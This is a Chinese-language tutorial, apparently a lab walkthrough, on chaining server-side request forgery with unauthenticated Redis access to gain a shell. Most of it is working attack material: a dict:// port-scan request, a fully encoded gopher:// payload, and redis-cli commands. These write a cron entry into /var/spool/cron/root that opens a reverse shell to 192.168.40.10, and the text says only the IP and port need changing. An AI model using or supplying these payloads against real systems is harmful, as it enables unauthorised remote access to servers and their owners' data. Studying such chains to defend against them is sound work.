SSRF不难理解,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。
服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。
SSRF漏洞结合Redis未授权漏洞,怎么利用?
SSRF漏洞可以:
Redis未授权访问漏洞,可以利用该漏洞实现:
结合起来就是:
通过代理向内网机器发送请求,收到请求的内网机器,因为机器自身存在未授权Redis漏洞,可以反弹Shell出去。
流程如下:
流程图:
条件:
当在外部站点发现SSRF漏洞时,尝试用代理找内网的Redis服务(找默认的6379端口),看看是否存在Redis未授权漏洞,如果存在,就可以尝试获取反弹Shell。
找6379端口的过程:
基于dict协议的利用
GET /ssrf/ssrf.phpurl=dict://192.168.124.153:&XXXX& HTTP/1.1
只需要遍历&XXXX& 从 0-65535 即可。
可能6379端口会修改成别的端口,但可以通过一些响应包内的特征确认:
验证是否存在SSRF的方式之一:
GET /ssrf/ssrf.php?url=http://Xxxx.dnslog.cn HTTP/1.1
发送redis数据包:
这里利用gopher协议,所以需要确认一下70端口是否开放。
http://127.0.0.1:8080/vul/ssrf/ssrf_curl.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%30%2e%33%34%3a%36%33%37%39%2f%5f%2a%31%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%39%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%30%2e%31%30%2f%34%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61
解码:
gopher://192.168.40.34:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
在解码:
gopher://192.168.40.34:6379/_*1
$8
flushall
*3
$3
set
$1
1
$59
*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
只需要修改 192.168.40.10/4444 ,在攻击者机器监听4444端口,就可以得到shell了。
思考:
本次实验只是针对基于SSRF漏洞的gopher协议攻击,但是在真实环境中,SSRF内的内网主机或者服务器有可能是不出网,这时候怎么反弹shell ?
如果目标 Redis 服务器存在身份验证,公网内存在VPS怎么反弹?如果没有root权限怎么实现计划任务?
背景知识:
gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。
在利用gopher协议进行攻击时,我们首先要知道gopher协议的流的怎么样的,所以现在需要构造一个正常请求,在攻击机上启用监听,使用流量转发工具socat,抓取tcp流量,然后将其流量转换为gopher格式,生成gopher流的攻击样本,为下面是构造一个gopher流的过程:
打开socat流量工具,记录攻击流量
现找一台类似环境的Redis服务器,在系统中执行如下命令:
Redis攻击代码:
redis-cli -h 127.0.0.1 flushall #清除缓存
echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1\n\n" | redis-cli -h 127.0.0.1 -x set 1 #反弹shell,由于在kali机上开启了监听,所以可以将本地的流量转发至这里,每隔1分钟往kali弹shell
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #设置工作目录,这里指的是计划任务
redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字,也就是将计划任务写入到目标的文件
redis-cli -h 127.0.0.1 save #保存
将如上的流量写入到1.txt,在将1.txt的TCP流形式转换为gopher流格式:
*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
SSRF之利用dict和gopher吊打Redis
https://www.cnblogs.com/CoLo/p/14214208.html
SSRF——手把手教你Redis反弹Shell
https://blog.csdn.net/sudu2020dd/article/details/130998763